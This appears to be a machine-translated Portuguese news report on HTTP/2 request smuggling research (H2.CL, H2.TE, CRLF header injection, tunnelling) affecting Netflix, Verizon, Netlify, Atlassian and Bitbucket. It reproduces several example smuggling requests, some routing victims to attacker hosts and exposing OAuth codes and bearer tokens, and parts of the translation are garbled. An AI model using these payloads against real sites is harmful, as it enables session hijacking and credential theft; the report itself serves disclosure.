Sistemas Web nos quais o front-end aceita conexões via HTTP/2 e as transmite para o backend via HTTP/1.1 foram expostos a uma nova variante do ataque “HTTP Request Smuggling”, que permite, através do envio de solicitações de clientes especialmente projetadas, para intrometer-se no conteúdo de solicitações de outros usuários processadas no mesmo fluxo entre front-end e back-end. O ataque pode ser usado para inserir código JavaScript malicioso em uma sessão com um site legítimo, contornar sistemas de restrição de acesso e interceptar parâmetros de autenticação.
O problema afeta proxies web, balanceadores de carga, aceleradores web, sistemas de entrega de conteúdo e outras configurações nas quais as solicitações são redirecionadas de front-end para backend. O autor do estudo demonstrou a possibilidade de atacar os sistemas da Netflix, Verizon, Bitbucket, Netlify CDN e Atlassian, e recebeu 56 mil dólares em programas de recompensa pela identificação de vulnerabilidades. O problema também foi confirmado nos produtos da F5 Networks. O problema afeta parcialmente o mod_proxy no servidor Apache http (CVE-2021-33193), uma correção é esperada na versão 2.4.49 (os desenvolvedores foram notificados do problema no início de maio e tiveram 3 meses para corrigi-lo). No nginx, a capacidade de especificar simultaneamente os cabeçalhos “Content-Length” e “Transfer-Encoding” foi bloqueada na última versão (1.21.1). As ferramentas de ataque já estão incluídas no kit de ferramentas Burp e estão disponíveis na forma da extensão Turbo Intruder.
O princípio de funcionamento do novo método de inserção de solicitações no tráfego é semelhante à vulnerabilidade identificada pelo mesmo pesquisador há dois anos, mas limitado a frontends que aceitam solicitações via HTTP/1.1. Lembremos que no esquema frontend-backend, as solicitações do cliente são recebidas por um nó adicional - o frontend, que estabelece uma conexão TCP de longa duração com o backend, que processa diretamente as solicitações. Através desta conexão comum, geralmente são transmitidas solicitações de diferentes usuários, que seguem a cadeia uma após a outra, separadas por meio do protocolo HTTP.
O clássico ataque “HTTP Request Smuggling” baseou-se no fato de frontends e backends interpretarem o uso de cabeçalhos HTTP “Content-Length” (determina o tamanho total dos dados na solicitação) e “Transfer-Encoding: chunked” (permite dados a serem transferidos em partes) de forma diferente. Por exemplo, se o front-end suportar apenas "Content-Length", mas ignorar "Transfer-Encoding: chunked", um invasor poderá enviar uma solicitação que contenha os cabeçalhos "Content-Length" e "Transfer-Encoding: chunked", mas o tamanho é "Content-Length" não corresponde ao tamanho da cadeia fragmentada. Neste caso, o frontend irá processar e redirecionar a solicitação de acordo com “Content-Length”, e o backend aguardará a conclusão do bloco com base em “Transfer-Encoding: chunked” e o restante da solicitação do invasor irá estar no início da solicitação de outra pessoa transmitida a seguir.
Ao contrário do protocolo de texto HTTP/1.1, que é analisado no nível da linha, o HTTP/2 é um protocolo binário e manipula blocos de dados de tamanho pré-especificado. No entanto, HTTP/2 usa pseudocabeçalhos que correspondem a cabeçalhos HTTP regulares. No caso de interação com o backend através do protocolo HTTP/1.1, o frontend traduz esses pseudo-cabeçalhos em cabeçalhos HTTP semelhantes HTTP/1.1. O problema é que o backend toma decisões sobre a análise do stream com base nos cabeçalhos HTTP definidos pelo frontend, sem ter informações sobre os parâmetros da solicitação original.
Em particular, os valores “comprimento do conteúdo” e “codificação de transferência” podem ser transmitidos na forma de pseudo-cabeçalhos, apesar de não serem utilizados em HTTP/2, uma vez que o tamanho de todos os dados é determinado em um campo separado. No entanto, durante o processo de conversão de uma solicitação HTTP/2 em HTTP/1.1, esses cabeçalhos são transferidos e podem confundir o back-end. Existem duas variantes principais de ataque: H2.TE e H2.CL, nas quais o back-end é enganado por uma codificação de transferência ou valor de comprimento de conteúdo incorreto que não corresponde ao tamanho real do corpo da solicitação recebido pelo front-end por meio do Protocolo HTTP/2.
Um exemplo de ataque H2.CL é especificar um tamanho incorreto no pseudocabeçalho de comprimento de conteúdo ao enviar uma solicitação HTTP/2 à Netflix. Essa solicitação leva à adição de um cabeçalho HTTP Content-Length semelhante ao acessar o back-end via HTTP/1.1, mas como o tamanho em Content-Length é especificado menor que o real, parte dos dados no final é processada como o início da próxima solicitação.
Por exemplo, solicite HTTP/2: método POST: caminho /n: autoridade www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Resultará no envio de uma solicitação ao back-end: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Como Content-Length tem valor 4, o backend aceitará apenas “abcd” como corpo da solicitação, e o restante de “GET /n HTTP/1.1...” será processado como o início de uma solicitação subsequente. associado a outro usuário. Conseqüentemente, o fluxo ficará dessincronizado e em resposta à próxima solicitação, o resultado do processamento da solicitação fictícia será emitido. No caso da Netflix, a especificação de um host de terceiros no cabeçalho “Host:” em uma solicitação fictícia resultou no retorno do cliente da resposta “Local: https://02.rs?x.netflix.com/n” e permitiu que conteúdo arbitrário fosse enviado ao cliente, incluindo Execute seu código JavaScript no contexto do site Netflix.
A segunda opção de ataque (H2.TE) envolve a substituição do cabeçalho “Transfer-Encoding: chunked”. O uso do pseudocabeçalho de codificação de transferência em HTTP/2 é proibido pela especificação e as solicitações com ele devem ser tratadas como incorretas. Apesar disso, algumas implementações de frontend não levam esse requisito em consideração e permitem o uso de um pseudocabeçalho de codificação de transferência em HTTP/2, que é convertido em um cabeçalho HTTP semelhante. Se houver um cabeçalho “Transfer-Encoding”, o backend pode considerá-lo uma prioridade mais alta e analisar os dados pedaço por pedaço no modo “fragmentado” usando blocos de tamanhos diferentes no formato “{tamanho}\r\n{bloco }\r\n{tamanho} \r\n{bloco}\r\n0", apesar da divisão inicial pelo tamanho geral.
A presença de tal lacuna foi demonstrada pelo exemplo da Verizon. O problema dizia respeito ao portal de autenticação e ao sistema de gerenciamento de conteúdo, que também é utilizado em sites como Huffington Post e Engadget. Por exemplo, uma solicitação de cliente via HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x =
Resultou no envio de uma solicitação HTTP/1.1 para o back-end: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres. Conteúdo líquido - Comprimento: 10x=
O back-end, por sua vez, ignorou o cabeçalho "Content-Length" e executou a divisão in-stream com base em "Transfer-Encoding: chunked". Na prática, o ataque possibilitou o redirecionamento de solicitações do usuário para seu site, incluindo a interceptação de solicitações relacionadas à autenticação OAuth, cujos parâmetros eram exibidos no cabeçalho Referer, além de simular uma sessão de autenticação e acionar o sistema do usuário para enviar credenciais para o host do invasor. GET /b2blanding/show/oops Host HTTP/1.1: psres.net Referente: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Autorização: Portador eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Para atacar implementações HTTP/2 que não permitem que o pseudo-cabeçalho de codificação de transferência seja especificado, outro método foi proposto que envolve a substituição do cabeçalho “Transfer-Encoding” anexando-o a outros pseudo-cabeçalhos separados por um caractere de nova linha ( quando convertido para HTTP/1.1, neste caso, cria dois cabeçalhos HTTP separados).
Por exemplo, Atlassian Jira e Netlify CDN (usado para servir a página inicial do Mozilla no Firefox) foram afetados por este problema. Especificamente, a solicitação HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Comprimento do conteúdo: 5\r\n \r\nx=
resultou no envio da solicitação HTTP/1.1 POST / HTTP/1.1 para o backend\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Comprimento do conteúdo: 5\r\n \r \nx=
Outra opção para substituir o cabeçalho “Transfer-Encoding” era anexá-lo ao nome de outro pseudocabeçalho ou a uma linha com um método de solicitação. Por exemplo, ao acessar o Atlassian Jira, o nome do pseudocabeçalho "foo: bar\r\ntransfer-encoding" com o valor "chunked" fez com que os cabeçalhos HTTP "foo: bar" e "transfer-encoding: chunked" fossem adicionados , e especificando o valor do pseudo-cabeçalho ":method" "GET / HTTP/1.1\r\nTransfer-encoding: chunked" foi traduzido para "GET / HTTP/1.1\r\ntransfer-encoding: chunked".
O pesquisador que identificou o problema também propôs uma técnica de tunelamento de solicitações para atacar frontends, em que cada endereço IP estabelece uma conexão separada com o backend e o tráfego de diferentes usuários não é misturado. A técnica proposta não permite interferir nas solicitações de outros usuários, mas possibilita envenenar um cache compartilhado que afeta o processamento de outras solicitações, e permite a substituição de cabeçalhos HTTP internos usados para transferir informações de serviço do frontend para o backend ( por exemplo, ao autenticar no frontend em Tais cabeçalhos podem transmitir informações sobre o usuário atual para o backend). Como exemplo de aplicação do método na prática, por meio do envenenamento de cache, foi possível obter controle sobre páginas do serviço Bitbucket.
Fonte: opennet.ru